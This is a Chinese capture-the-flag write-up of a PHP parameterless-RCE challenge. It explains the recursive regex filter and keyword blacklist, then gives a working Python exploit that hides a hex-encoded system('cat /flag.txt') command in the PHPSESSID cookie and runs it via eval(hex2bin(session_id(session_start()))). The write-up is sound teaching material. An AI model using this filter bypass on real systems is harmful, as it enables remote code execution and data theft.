• [2020YCTF]web1-rce_nopar


    [YCTF]web1-rce_nopar

    前言:

    比赛题目环境版本是:PHP/5.5.9-1ubuntu4.14

    如果要进行本地测试,请尽量使用附近的版本,我测试过5.6版本基本都可以用。

    如果自己本地搭建,payload没有成功,请检查PHP的版本。

    经过本地测试,payload在PHP7.2的版本,payload会不起作用,也得不到flag。

    原因是更新的版本函数执行底层代码改变了。

    考察:无参RCE、session的使用、正则表达式

    进入页面,显示如下php代码。

    <?php
    if(isset($_GET['var'])){
        if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['var'])) {
            if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
                   eval($_GET['var']);
            } else {
                die("Sorry!");
            }
    }
    else{
        show_source(__FILE__);
    }
    ?>
    

    关键代码如下:

    if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['var'])) {
        if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
            eval($_GET['var']);
        }
    }
    

    先分析外层if句的正则表达式:

    [^W]+((?R)?)
    

    首先分析[^W]:

    ​ 其中"[]"表示匹配的开始结束,"^"表示取反。

    W,(注意这个W是大写的),匹配非字母、数字、下划线。等价于 [^A-Za-z0-9_]

    ​ 所以[^W]是对上面的w取反: 匹配所有字母数字下划线的字母。

    不太熟悉正则的注意正则中的 “+”,是为了拼接整个表达式的,并不是需要我们匹配 "+",

    然后是((?R)?):

    ​ 其中两侧的( 和)表示匹配括号。

    (?R),(?R)表示递归表达式本身,

    (?R)?,最后的"?"表示匹配1个或者0个表达式本身,最后的 “?” 必不可少的。

    综上,我们大概就清晰了。

    整个正则是要把对应形式的内容提取出来,然后通过preg_replace函数,用空字符串进行代替,得到一个字符串。

    得到的这个字符串必须是完全等于“;”的。

    我们的payload大致为如下形式,可以带字母,数字,下划线。

    一定明白好这个正则,使用函数必须无参。

    a(b_c());
    

    接下来分析内层的if判断句

    其实内层的正则就比较好过了,最重要的还是外层的正则。

    /et|dir|na|info|dec|oct|pi|log/i
    

    两侧的 ” / “ 是整个表达式的开头和结尾,结尾的i表示不区分大小写。

    用|分隔多种匹配情况。

    即:et、dir、na、info、dec、oct、pi、log都是非法的字符。

    综上,第二个正则:

    我们输入的参数,不可以带 et、dir、na、info、dec、oct、pi、log中的任何一个,即便大小写混合也不行。

    进入我们构造payload的阶段

    先给出exp吧,这样还比较好解释。

    脚本是python2的 , python3的encode()函数使用会不一样

    import requests
    
    url = 'http://124.193.74.211:32373/?var=eval(hex2bin(session_id(session_start())));'
    
    payload ="system('cat /flag.txt');".encode('hex')
    #73797374656d2827636174202f666c61672e74787427293b
    cookies = {
    
    'PHPSESSID':payload
    
    }
    r = requests.get(url=url,cookies=cookies)
    
    print (r.content)
    
    

    经过分析,我们有了思路

    第一我们清晰了参数大致形式: a( b_c() ) ;

    第二明确了传入的var必须是无参的,但使用eval的执行没有参数又是不太现实的。

    第三我们需要特殊手段,注入需要执行命令的参数,比如~: cookies。

    惊喜:cookies有个PHPSESSID,在调用PHP的session_start();后函数会自动生成。

    当然,在合法的规则下,我们可以更改这个PHPSESSID的值。

    总结出利用手段:利用session构造无参数RCE

    解释函数:

    仔细理解session_id函数的使用注意,这也是为什么我们要把命令执行语句,转为16进制字符串的原因。

    函数 功能: 使用注意:
    session_start(); 创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。
    session_id(); 可以用来获取/设置 当前会话 ID。 不同会话管理器对id中可以使用的字符有不同的限制。例有的管理器允许使用字符:*a-z A-Z 0-9 ,(逗号) - (减号)。
    hex2bin() ; 把十六进制值的字符串转换为 ASCII 字符串。
    eval(); 把字符串按 PHP 代码执行。

    函数执行过程:

    传入我们的var变量和PHPSESSID后:

    eval($_GET['var']);会触发

    详细执行情况如下:

    根据脚本此处 shell <==> system('cat /flag.txt');

    eval("eval(hex2bin(session_id(session_start())));");
    

    最后我们就得到了flag.txt文件的内容值。

    image-20200329011744791

  • 相关阅读:
    Atitit.随时间变色特效 ---包厢管理系统的规划
    Atitit.request http乱码的设计防止 检测与解决最近实践p825 attilax总结.doc
    Atitit.request http乱码的设计防止 检测与解决最近实践p825 attilax总结.doc
    atitit.薄伽梵歌overview  attilax 读后感
    Atitit。 《吠陀》 《梨俱吠陀》overview 经读后感  是印度上古时期一些文献的总称
    Atitit。 《吠陀》 《梨俱吠陀》overview 经读后感  是印度上古时期一些文献的总称
    atitit.薄伽梵歌overview  attilax 读后感
    Atitit 《摩奴法典》overivew 读后感 不是由国王 颁布的,而是 僧侣编制
    Atitit 《摩奴法典》overivew 读后感 不是由国王 颁布的,而是 僧侣编制
    Atitit.执行cli cmd的原理与调试
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12590568.html
Copyright © 2020-2023  润新知